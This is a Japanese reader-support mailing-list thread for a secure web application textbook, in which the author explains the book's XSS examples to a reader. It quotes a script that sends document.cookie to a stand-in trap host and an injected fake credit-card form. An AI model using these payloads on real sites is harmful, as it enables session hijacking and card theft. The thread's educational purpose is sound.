「衚瀺凊理に䌎う問題」に぀いお

118 views
Skip to first unread message

OK

unread,
Nov 16, 2024, 12:38:54 PM11/16/24
to 「䜓系的に孊ぶ 安党なWebアプリケヌションの䜜り方」サポヌトML
埳䞞様、い぀もお䞖話になっおおりたす。
XSSの基本動䜜を掗い出したいです。

「衚瀺凊理に䌎う問題」の「正垞系」ず「XSS攻撃」郚分を図解しおみたしたので、内容に霟霬がないかご確認頂けたすでしょうか。
たた、4ペヌゞ目に質問を1぀蚘茉しおおりたすので、䜕卒ご回答お願いできたすでしょうか。
衚瀺凊理に䌎う問題.pdf

OK

unread,
Nov 16, 2024, 1:32:27 PM11/16/24
to 「䜓系的に孊ぶ 安党なWebアプリケヌションの䜜り方」サポヌトML
床々申し蚳ありたせん。
情報䞍足でしたので補足したす。

4ペヌゞ目のhttpレスポンスに「iftq」から始たるセッションIDが蚘茉されおたすが、これが「document.cookie」の郚分に蚘茉されるず思っおおりたした。
そうならない理由を質問しおおりたす。

よろしくお願い臎したす。

2024幎11月17日日曜日 2:38:54 UTC+9 OK:

埳䞞浩

unread,
Nov 16, 2024, 10:58:22 PM11/16/24
to wasbook...@googlegroups.com
埳䞞です。こんにちは。

> 【質問①】右蚘の状態になるのはなぜでしょうか。[document.cookie]ずはWEBブラりザが持぀cookieを指すのでしょうか。

「右蚘の状態」はすなわち、以䞋ですが。

<body>
怜玢キヌワヌド:<script>alert(document.cookie)</script><BR>
以䞋略
</body>

これは、元々のPHPスクリプトが以䞋であっお、

<body>
怜玢キヌワヌド:<?php echo $_GET['keyword']; ?><br>
以䞋略
</body>

echo は、匏の倀を衚瀺する機胜なので、$_GET['keyword'] を評䟡実行した結果を衚瀺するこずになりたす。そしお、これはク゚リ文字列keywordを瀺しおいお、ク゚リ文字列は以䞋ですので、

keyword=<script>alert(document.cookie)</script>

すなわち、<script>alert(document.cookie)</script> を衚瀺するずいう意味になりたす。その結果、衚瀺内容は以䞋ずなりたす。

<body>
怜玢キヌワヌド:<script>alert(document.cookie)</script><BR>
以䞋略
</body>

そしお、ここからが重芁ですが、HTMLずしお<script> ず </script> で挟たれた郚分はJavaScriptずしお実行されたす。alertはダむアログを衚瀺しお、匕数の倀を衚瀺するずいう意味です。
JavaScriptで、document.cookieは、珟圚のペヌゞのCookieを衚瀺するずいう意味です。
したがっお、ご質問「[document.cookie]ずはWEBブラりザが持぀cookieを指すのでしょうか」の答えは、む゚スです。




2024幎11月17日(日) 3:32 OK <cs00...@gmail.com>:
--
このメヌルは Google グルヌプのグルヌプ「「䜓系的に孊ぶ 安党なWebアプリケヌションの䜜り方」サポヌトML」に登録しおいるナヌザヌに送られおいたす。
このグルヌプから退䌚し、グルヌプからのメヌルの配信を停止するには wasbook-reade...@googlegroups.com にメヌルを送信しおください。
このディスカッションを衚瀺するには、https://groups.google.com/d/msgid/wasbook-readers/0525284f-a0a1-4114-bbb2-cec00eb863dan%40googlegroups.com にアクセスしおください。


--
埳䞞浩 htok...@gmail.com

OK

unread,
Nov 17, 2024, 12:45:05 PM11/17/24
to 「䜓系的に孊ぶ 安党なWebアプリケヌションの䜜り方」サポヌトML
埳䞞様、い぀もお䞖話になっおおりたす。
ご確認、ご回答ありがずうございたす。
理解できたした。

回答内容を反映させ、さらに「3. 眠サむト」を远蚘臎したした。
倧倉恐瞮ですが、内容に霟霬がないかご確認頂けたすでしょうか。

5ペヌゞず11ペヌゞに質問を蚘茉しおおりたすので、䜕卒ご回答お願いできたすでしょうか。

よろしくお願い臎したす。

2024幎11月17日日曜日 12:58:22 UTC+9 埳䞞浩:
衚瀺凊理に䌎う問題.pdf

埳䞞浩

unread,
Nov 17, 2024, 10:53:39 PM11/17/24
to wasbook...@googlegroups.com
埳䞞です。こんにちは。

【質問①】③httpレスポンス受信時はこの状態ですか

43-900.html のレスポンスを受信しお衚瀺レンダリング盎埌はただiframeのレスポンスを受け取れおないので、iframe内は空癜です。

【質問②】
この段階でcookie芋えおいるのはなぜでしょうか。
WEBブラりザ受信前のため巊蚘のように衚瀺されるず予想しおおりたした

これは、私の本のP124に曞いおいる通りで、

この結果、脆匱なペヌゞでは以䞋のJavaScriptが実行されたす。芋やすいように改行を远加したした。
<script>
window.location='http://trap.example.com/43/43-901.php?sid='+document.cookie;
</script>

ずブラりザ䞊で衚瀺されたす。この結果scriptタグ内のJavaScriptが実行される際にdocument.cookieの倀が評䟡実行されお、

  ↓ document.cookie の倀を評䟡JavaScript実行

ずなるため、眠ペヌゞぞのリク゚ストのURLにはCookieの倀が付䞎されるこずになりたす。

サヌバヌ偎でのPHP実行 → ブラりザ内のJavaScriptの実行

が2段階で行われおいるずころに着目ください。



2024幎11月18日(月) 2:45 OK <cs00...@gmail.com>:
このディスカッションを衚瀺するには、https://groups.google.com/d/msgid/wasbook-readers/bddd537c-8dff-4e7e-be00-875fbe194254n%40googlegroups.com にアクセスしおください。


--
埳䞞浩 htok...@gmail.com

OK

unread,
Nov 18, 2024, 1:52:23 AM11/18/24
to 「䜓系的に孊ぶ 安党なWebアプリケヌションの䜜り方」サポヌトML
埳䞞様、い぀もお䞖話になっおおりたす。
ご確認、ご回答ありがずうございたす。

理解できたず思いたす。
回答内容をP7、P1012に反映させおみたした。
認識霟霬ありたしたらご指摘頂けたすでしょうか。

埳䞞様の文面に察しお質問させおください。

この結果、脆匱なペヌゞでは以䞋のJavaScriptが
実行されたす。芋やすいように改行を远加したした。
<script>
window.location='http://trap.example.com/43/43-901.php?sid='+document.cookie;
</script>
ずブラりザ䞊で衚瀺されたす。
→添付ファむルのP7の珟象を指したすでしょうか。
 しかし、すぐに次を凊理するので芖認できないのか、 ず認識したした。

この結果scriptタグ内のJavaScriptが実行される際に
document.cookieの倀が評䟡実行されお、
→添付ファむルのP10の珟象を指したすでしょうか。

window.location='http://trap.example.com
/43/43-901.php?sid=PHPSESSID=6qd8...'
ずなるため、眠ペヌゞぞのリク゚ストのURLには
Cookieの倀が付䞎されるこずになりたす。
→[眠ペヌゞぞのリク゚スト]ずは、添付ファむルのP10の「⑧httpリク゚スト」を指したすでしょうか。

お忙しい所恐れ入りたすが、䜕卒ご回答よろしくお願い臎したす。

2024幎11月18日月曜日 12:53:39 UTC+9 埳䞞浩:
衚瀺凊理に䌎う問題.pdf

埳䞞浩

unread,
Nov 18, 2024, 2:16:10 AM11/18/24
to wasbook...@googlegroups.com
埳䞞です。こんにちは。

はい、すべおご認識のずおりです。


2024幎11月18日(月) 15:52 OK <cs00...@gmail.com>:
このディスカッションを衚瀺するには、https://groups.google.com/d/msgid/wasbook-readers/89230421-5470-4789-8175-2f5da1619647n%40googlegroups.com にアクセスしおください。


--
埳䞞浩 htok...@gmail.com

OK

unread,
Nov 18, 2024, 11:52:53 AM11/18/24
to 「䜓系的に孊ぶ 安党なWebアプリケヌションの䜜り方」サポヌトML
埳䞞様、い぀もお䞖話になっおおりたす。
ご確認、ご回答ありがずうございたす。
倧倉勉匷になりたした。

粗倧ごみ申蟌WEBペヌゞに぀いお、図解臎したした。
4点ほど質問を蚘茉しおおりたすので、お忙しい所恐れ入りたすが䜕卒ご回答頂けたすでしょうか。

よろしくお願い臎したす。

2024幎11月18日月曜日 16:16:10 UTC+9 埳䞞浩:
衚瀺凊理に䌎う問題_4-5.pdf

埳䞞浩

unread,
Nov 18, 2024, 5:50:28 PM11/18/24
to wasbook...@googlegroups.com
埳䞞です。こんにちは。


【質問①】POSTメ゜ッド実行時は右蚘のようにAからWEBペヌゞを取埗するのでしょうか。

そのずおりです。

【質問②】⑀で実行される郚分は䞋蚘の[form]のひずたずたりでしょうか。

⑀は単なるHTMLなので、「実行」ずいうのは違和感がありたす。HTMLフォヌムずしお、攻撃察象のスクリプトをPOSTリク゚ストで呌び出しおいたす。

【質問③】【質問②】が合っおいる堎合䞊蚘の[name]はAの[氏名]欄を 指したすか  

そのずおりです。

【質問④】⑊httpレスポンス受信時WEBブラりザには䜕が衚瀺されたすでしょうか。空癜を予想しおおりたす

違いたす。その埌のHTMLが衚瀺されたす。リダむレクト等は起きたせん。




2024幎11月19日(火) 1:53 OK <cs00...@gmail.com>:
このディスカッションを衚瀺するには、https://groups.google.com/d/msgid/wasbook-readers/f29ad3df-ce93-4594-97f1-40db0e6a6f60n%40googlegroups.com にアクセスしおください。


--
埳䞞浩 htok...@gmail.com

OK

unread,
Nov 22, 2024, 1:39:53 PM11/22/24
to 「䜓系的に孊ぶ 安党なWebアプリケヌションの䜜り方」サポヌトML
埳䞞様、い぀もお䞖話になっおおりたす。
ご確認、ご回答ありがずうございたす。

理解できたず思いたす。
回答内容を反映させおみたした。
認識霟霬ありたしたらご指摘頂けたすでしょうか。

P8ずP11にに質問を蚘茉しおおりたすので、䜕卒ご回答お願いできたすでしょうか。

よろしくお願い臎したす。

2024幎11月19日火曜日 7:50:28 UTC+9 埳䞞浩:
衚瀺凊理に䌎う問題_4-5.pdf

埳䞞浩

unread,
Nov 23, 2024, 1:05:54 AM11/23/24
to wasbook...@googlegroups.com
埳䞞です。こんにちは。

【質問①】 このWEBペヌゞは 䜕をしおいるのでしょうか
 
圓該の郚分は以䞋ですが、

<form style=top:5px;left:5px;position:absolute;z-index:99;background-color:white
method=POST>粗倧ゎミの回収費甚がクレゞットカヌドでお支払い頂けるようになりたした<br>氏  名<input size=20 name=name><br>
䜏  所<input size=20 name=addr><br>電話番号<input size=20 name=tel><br>
品  目<input size=10 name=kind>数量<input size=5 name=num><br>カヌド番号
<input size=16 name=card>有効期限<input size=5 name=thru><br><input value=申蟌 type=submit><br><br><br><br><br></form>

これはHTMLフォヌムであり、3行目にあるようにmethod=POSTが指定されおいたすので、眠の被害者が入力した内容がPOSTメ゜ッドで送信されたす。
POSTメ゜ッドなので、入力内容はURLには぀かず、リク゚ストボディずしお送信されたす。

【質問②】赀四角の内容はどこに衚瀺されおたすでしょうか。巊蚘眠ペヌゞの埌ろに隠れおいるのでしょうか。

その通りです。




2024幎11月23日(土) 3:40 OK <cs00...@gmail.com>:
このディスカッションを衚瀺するには、https://groups.google.com/d/msgid/wasbook-readers/f67a68f7-c90a-4c15-acc6-34dd5b52c107n%40googlegroups.com にアクセスしおください。


--
埳䞞浩 htok...@gmail.com

OK

unread,
Nov 23, 2024, 11:32:44 AM11/23/24
to 「䜓系的に孊ぶ 安党なWebアプリケヌションの䜜り方」サポヌトML
埳䞞様、い぀もお䞖話になっおおりたす。
ご確認、ご回答ありがずうございたす。

昚日の【質問①】で[43-903.php]ず[43-003.php]を勘違いしおおり、倧倉倱瀌臎したした。
埳䞞様の回答の通り、[43-903.php]にPOSTメ゜ッドで入力デヌタを送っお応答を埗おいるず理解臎したした。

【質問②】のご回答を資料に反映臎したした。
もし認識霟霬等ありたしたらご指摘ください。

䜕卒よろしくお願い臎したす。

2024幎11月23日土曜日 15:05:54 UTC+9 埳䞞浩:
衚瀺凊理に䌎う問題_4-5.pdf

OK

unread,
Nov 23, 2024, 12:28:07 PM11/23/24
to 「䜓系的に孊ぶ 安党なWebアプリケヌションの䜜り方」サポヌトML
床々申し蚳ありたせん。
【質問②】の回答を反映させたず蚀いたしたが、お送りした資料のP11を指しおおりたす。

よろしくお願い臎したす。

2024幎11月24日日曜日 1:32:44 UTC+9 OK:

埳䞞浩

unread,
Nov 24, 2024, 4:50:46 AM11/24/24
to wasbook...@googlegroups.com
埳䞞です。こんにちは。

> もし認識霟霬等ありたしたらご指摘ください。

ここはオンラむンサロンではないので、曞籍に察する具䜓的な質問を超えるリク゚ストには応じおおりたせん。あしからず。


2024幎11月24日(日) 2:28 OK <cs00...@gmail.com>:
このディスカッションを衚瀺するには、https://groups.google.com/d/msgid/wasbook-readers/4d46a9eb-c45b-4ba7-b4da-6255523e5632n%40googlegroups.com にアクセスしおください。


--
埳䞞浩 htok...@gmail.com

OK

unread,
Nov 24, 2024, 12:14:48 PM11/24/24
to 「䜓系的に孊ぶ 安党なWebアプリケヌションの䜜り方」サポヌトML
埳䞞様、い぀もお䞖話になっおおりたす。

質問を誀り倧倉倱瀌臎したした。
今埌は、曞籍に関する内容を質問させお頂きたす。
もし察応䞍可の内容がございたしたら、今回のようにご指摘頂ければず思いたす。

匕き続き勉匷を続けたす。
今埌ずもよろしくお願い臎したす。

2024幎11月24日日曜日 18:50:46 UTC+9 埳䞞浩:
Reply all
Reply to author
Forward
0 new messages